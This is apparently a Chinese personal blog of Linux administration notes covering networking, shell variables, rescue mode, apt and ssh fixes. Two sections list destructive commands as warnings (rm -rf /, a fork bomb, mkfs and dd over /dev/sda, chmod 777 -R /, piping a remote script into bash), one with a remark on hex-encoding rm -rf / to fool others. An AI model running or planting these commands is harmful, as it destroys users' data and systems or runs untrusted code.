• Linux实践记事


    1.CentOS最小化安装无法上网

    centOS最小化安装之后无法联网重置多次后,装了一个带桌面环境的,发现,需要手动打开网络连接。于是,我感觉应该是,最小化安装后也应该使用命令行激活网络连接

    • 通过搜索
      找到启动和禁用网卡的有关指令为
      ifup、ifdown以及ifconfig但是并不能用,提示找不到命令
    • 再次搜索
      找到手动打开网卡的方法
      百度经验
      • 首先查看本机是否分配IPip addr:其中2为本机网卡名称
      • 进入网卡配置文件目录
        cd /etc/sysconfig/network-scripts/
      • 查看网卡文件,找到对应网卡
      • 编辑网卡文件vi ifcfg-[name]
      • 找到ONBOOT=no改为yes
      • 执行service network restart重启网卡服务
      • 再次执行ip addr查看是否分配了ip,若分配即为成功
    • 至于ifconfig命令
      • 执行yum provides ifconfig查找哪个包提供了ifconfig命令,可以看到是net-tools-XXXXXXXXXXXXX包提供了ifconfig包
      • 执行yum install net-tools安装该包
      • 再次执行ifconfig发现可用

    2. sudo cd ?

    • 使用sudo cd提示找不到此命令
    • 通过type cd可以看到cd为shell内建(buildin)命令,也就是说cd是shell(默认为bash)提供的操作,不是系统自带的

    确实,无论是在bin还是sbin中都没有cd命令

    • 什么是sudo?
      • 是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具
      • 这里边的命令就是指在sbin中的

    3. 关于Shell脚本执行权限

    shell脚本需要rx的权限才能执行

    4. 彻底卸载软件

    apt-get --purge remove
    apt-get autoclean删除过期的软件包

    5. 自爆

    1. rm -rf /可以转化成16进制的迷惑别人
    2. mkfs.ext3 /dev/sda对指定磁盘进行格式
    3. :(){ :|:& };:循环执行
    4. echo uSB > /dev/sda使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
    5. mv /home/yourhomedirectory/* /dev/null 把主目录删了
    6. chmod 777 -R /权限设置混乱
    7. dd if=/dev/zero of=/dev/sda bs=1K count=100 用0填充MBR和磁盘分区表

    6. 文件格式转换

    Windows(DOS)下和Linux下的换行字符不同,可通过dos2unix进行转换

    7. touch更新时间戳

    • touch用来创建一个空文件(前提是没有这个文件时),如果已经有同名文件的话,仅更新时间戳
    • 可以根据这一特性,实现差异化自动备份?

    8. find和cpio

    find常用格式find 路径 -name 文件名
    cpio通过管道备份find /etc -name *.conf | cpio -cov > /tmp/confi.cpio;还原:cpio --absolute-filename -icvu < /tmp/conf.cpio

    9. unmount

    unmount命令用来卸载挂载的设备,unmount 原始设备unmount 挂载点的效果是一样的,都是卸载同一个设备

    10. shell特殊符号

    变量名 含义
    $0 shell或shell脚本的名字
    $* 以一对双引号给出参数列表
    $@ 将各个参数分别加双引号返回
    $# 参数的个数
    $_ 代表上一个命令的最后一个参数
    $$ 代表所在命令的PID
    $! 代表最后执行的后台命令的PID
    $? 代表上一个命令执行后的退出状态

    11. 查看pid和该进程的环境变量

    1. 查看pidpgrep 进程名
    2. 查看环境变量cat /proc/YourPID/environ

    环境变量返回的值以name=value描述,每个变量之间有null间隔()
    为了好看cat /proc/YourPID/environ | tr '' ' '

    1. 对于某些环境变量的修改,一定要保留原有的值,比如PATHPATH="$PATH:Your_PATH"

    12. ssh 报Permission denied (publickey).

    • 根据报错可以判断是没有公钥

    • 但是我这个SSH服务并没有建立公钥,所以是登录权限的问题

    • 在配置文件中修改**PasswordAuthentication **

      PasswordAuthentication yes #允许通过密码认证

    13. AMP环境配置好后php的mysql函数未定义

    • Apache没有正确重启(可能是个别版本的问题)
    • 先stop,再start,不要直接restart

    14. 配置网卡

    • 网卡配置文件:/etc/network.interfaces
    • 重启网卡:# /etc/init.d/networking restart
    • 打开数据包路由转发功能:修改sysctl.conf文件,将net.ipv4.ip_forward = 1注释取消
    • 设置转发规则:iptables -t nat -A POSTROUTING -s 接收地址 -o 要转到的接口 -j MASQUERADE

    Ubuntu17之后使用netplan代替了原有的interfaces:配置文件存放在/etc/netplan/*.yaml冒号之后要有一个空格 ),配置完之后使用netplan apply生效

    # 静态IP
    network:
      version: 2
      renderer: NetworkManager
      ethernets:
         enp3s0: #配置的网卡名称,使用ifconfig -a查看得到
           dhcp4: no #dhcp4关闭
           addresses: [192.168.202.36/24] #设置本机IP及掩码
           gateway4: 192.168.202.1 #设置网关
           nameservers:
             addresses: [192.168.202.1] #设置DNS
    
    
    # 动态IP
    network:
      version: 2
      renderer: NetworkManager
      ethernets:
         enp3s0: #配置的网卡名称,使用ifconfig -a查看得到
           dhcp4: true #dhcp4开启
           addresses: [] #设置本机IP及掩码,空
           optional: true
    
    • ifconfig 临时配置网卡
    # 配置 IP 地址和掩码
    $ ifconfig eth0 192.168.16.234 netmask 255.255.255.0
    
    #设置网关
    $ route add default gw 192.168.16.1
    
    • ifconfig设置网卡混杂模式
    # 设置混杂模式
    ifconfig ens32 promisc
    # 取消混杂模式
    ifconfig ens32 -promisc
    

    15. msf对PostgreSQL数据库的密码

    • /opt/metasploit/properties.ini

    16. 查看版本

    • cat /proc/version
    • uname -a
    • lsb_release -a
    • cat /etc/issue

    17. bash 相关

    1. 变量的设定规则:
      1. 设定变量通过=来连接,=左右不能有空格
      2. 变量名只能是英文开头
      3. 如果变量内容需要引号括起来,单引号双引号是有区别的
        1. 双引号中的转义符,就是转义后的特性
        2. 单引号中的转义字符,只是单纯的字符
      4. 特殊字符使用来转换为一般字符
      5. 使用"括起来的命令会先执行,等价于$()
      6. 定义数组:var[index]=content
    2. 给原有变量添加值时,需要引用原有变量,再加具体内容var=$var"NewVar"
    3. 变量有两种类型:普通字符串、整数
      1. 使用declare [-axir] variable命令设置变量类型

        a:定义为数组
        x:设置为环境变量
        i:设置为整形
        r:设置为只读
        后面不接变量:表示显示相应类型的变量,类型缺省则为全部变量

    4. 删除变量:unset 变量名
    5. 查看变量:
      1. echo $变量名
      2. env查询环境变量
      3. set查询shell的变量(私有变量和用户变量)
      4. export导出用户shell变量

    18. 救援模式(单用户模式) & 紧急模式

    以Ubuntu18 为例:

    • 紧急模式:在紧急模式中不启动任何东西,没有服务启动、没有挂载点、没有套接字,只有一个原始的shell。紧急模式适用于调试目的。
    • 救援模式:相当于使用SysV 作为服务管理器的Linux发行版中的 单用户模式。在救援模式下,将挂载所有本地文件系统,启动一些重要服务。

    进入救援模式:

    方法一:

    1. 在Grub菜单中编辑Ubuntu启动选项
    2. linux开头的一行中,末尾追加systemd.unit=rescue.target
    3. 保存启动即可

    方法二:

    1. 在Grub的Advanced options for Ubuntu选项中找到(recovery mode)
    2. e编辑,在linux开头的一行末端,将ro recovery nomodeset改为rw single init=/bin/bash

    方法三:

    1. 启动时选择recovery mode
    2. 在Recovery Menu中选择Root Drop to root shell prompt

    进入紧急模式

    1. 在Grub菜单中编辑Ubuntu启动选项
    2. linux开头的一行中,末尾追加systemd.unit=emergency.target
    3. 保存启动即可

    修改密码

    1. 挂载主分区mount /dev/sda1 /mnt
    2. 切换到主分区chroot /mnt
    3. 修改密码passwd
    4. 退出临时分区exit
    5. 卸载挂载的分区umount /mnt
    6. 重启!

    将文件系统重新挂载成读/写模式:mount -n -o remount,rw /

    关于无法进入grub的情况

    双系统情况下默认会显示Grub选择菜单,但是单Ubuntu主机可能会自动跳过Grub菜单。
    解决方案:启动过程中按住Shift键即可。

    关于救援模式和紧急模式:

    • 救援模式相当于使用 SysV 作为默认的服务管理器的 Linux 发行版中的单用户模式。在救援模式下,将挂载所有本地文件系统,仅启动一些重要服务,但是,不会启动正常服务(例如网络服务)。
    • 紧急模式中不启动任何东西。没有服务启动、没有挂载点、没有建立套接字,什么也没有,你所拥有的只是一个原始的 shell。紧急模式适用于调试目的。

    19. 网桥相关

    • 相关软件:安装bridge-utils

    • 查看网桥信息brctl show

    • route命令解释,route命令运行后会显示如下表格,每一行为每一个路由规则,如果Gateway一栏为*,则将数据包发送给Iface对应接口
      |Destination|Gateway|Genmask|Flags|Metric|Ref|Use|Iface|
      |--------|-------|-------|-------|-------|-------|-------|-------|
      |default|10.0.2.2|0.0.0.0|UG|0|0|0|eth0|
      |10.0.2.0||255.255.255.0|U|0|0|0|eth0|
      |172.17.0.0|
      |255.255.0.0|U|0|0|0|docker0|

    • 通过ethtool -S vethXXXXXX 可以查看到docker申请的虚拟设备对应的接口序号

    • 在docker容器中可以通过ip link查看到对应接口序号所指向的设备

    20. 打不开图形化(登录后又提示登录)

    Ctrl + Alt + F7或者在终端下输入init 5进入图形化
    查看.Xauthority文件是否存在并赋权
    .Xauthority 文件的位置 如果是root用户登入文件在 /root 目录下,如果是其他用户 文件 位置 /home/XXX/.Xauthority

    cd ~
    ls -al # 查看Xauthority是否存在
    startx # 会自动生成Xauthority文件
    sudo chown root:root .Xauthority # 将该文件赋予用户
    

    21. 清除过期的ssh公钥

    ssh-keygen -R 指定目标

    22. 憨批操作

    1. rm -rf不多说
    2. :(){:|:&};:fork炸弹
    3. 命令 > /dev/sda将输出重定向到sda中,导致sda中数据丢失
    4. mv 文件(夹) /dev/null删除
    5. wget(curl) 恶意网址 | bash从恶意网址上下载bash脚本并执行(网址上托管纯文本就行)
    6. mkfs.ext3 /dev/sda格式化
    7. > 文件清空指定文件
    8. dd if=/dev/random of=/dev/sda将垃圾数据覆写入sda

    23. Ubuntu安装指定版本软件

    • sudo apt-get install openssh-client=1:6.6p1-2ubuntu1安装的是 1:6.6p1-2ubuntu1 的 openssh-client
    • sudo apt-cache madison openssh-client列出仓库中openssh-client的版本

    24. 检查端口和进程

    • 检查端口对应的程序:lsof -i:端口号
    • 检查程序执行目录:pwdx <PID>

    25. apt update 提示NO_PUBKEY

    使用apt update时报错如下:

    Fetched 22.0 MB in 4s (4,802 kB/s)
    Reading package lists... Done
    Building dependency tree
    Reading state information... Done
    378 packages can be upgraded. Run 'apt list --upgradable' to see them.
    W: GPG error: http://security.debian.org buster/updates InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY AA8E81B4331F7F50 NO_PUBKEY 112695A0E562B32A
    

    解决方案:(Debian和ubuntu都可以使用ubuntu的证书服务器)
    sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys AA8E81B4331F7F50

    26. sudo报错

    使用sudo报错:sudo: sorry, you must have a tty to run sudo
    编辑/etc/sudoers文件,注释掉Default requiretty

    27. ln命令

    • 不加参数的就是 硬链接
    • 硬链接就是同一个文件使用了多个别名,只有当文件存在时才可创建硬链接
    • 软链接与硬链接不同,若文件用户数据块中存放的内容是另一文件的路径名的指向,则该文件就是软连接。

    28. %U

    比如一个图标应用,名称为fd.desktop
    文件内容里写
    exec=fdisk %u
    当你使用
    fd.desktop -l的时候,相当于fdisk -l

    29. VMware无法使用独立显卡启动

    错误提示:"$BINDIR"/vmware-modconfig --appname="VMware Workstation" --icon="vmware-workstation"
    Arch给出的原因是,Intel微码版本过老
    Debian没有新的

    30. Ubuntu18.04网络

    18.04 启用了新的方法配置网络——netplan
    使用networkctl查看网卡
    配置文件嘛……懒得打了

    31. dpkg lock

    E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable)

    有其他程序在占用apt
    通过 ps afx|grep apt 找到正在使用的进程,将其杀掉
    释放被锁定文件

    $ sudo rm /var/lib/dpkg/lock
    $ sudo dpkg --configure -a
    $ sudo apt update
    

    32. ssh 报Permission denied (publickey).

    • 根据报错可以判断是没有公钥

    • 但是我这个SSH服务并没有建立公钥,所以是登录权限的问题

    • 在配置文件中修改**PasswordAuthentication **

      PasswordAuthentication yes #允许通过密码认证

  • 相关阅读:
    Render Props
    react16新特性
    typescript
    calc
    类数组
    promise fullfill状态时 value是一个promise,那么此promise.then()里面收到的是什么
    M个同样的苹果放N个同样的盘子,允许有盘子空着, 问有多少种放法?
    history
    js创建二维数组
    钉钉-E应用开发初体验(企业内部应用)
  • 原文地址:https://www.cnblogs.com/ph1sh/p/13736318.html
Copyright © 2020-2023  润新知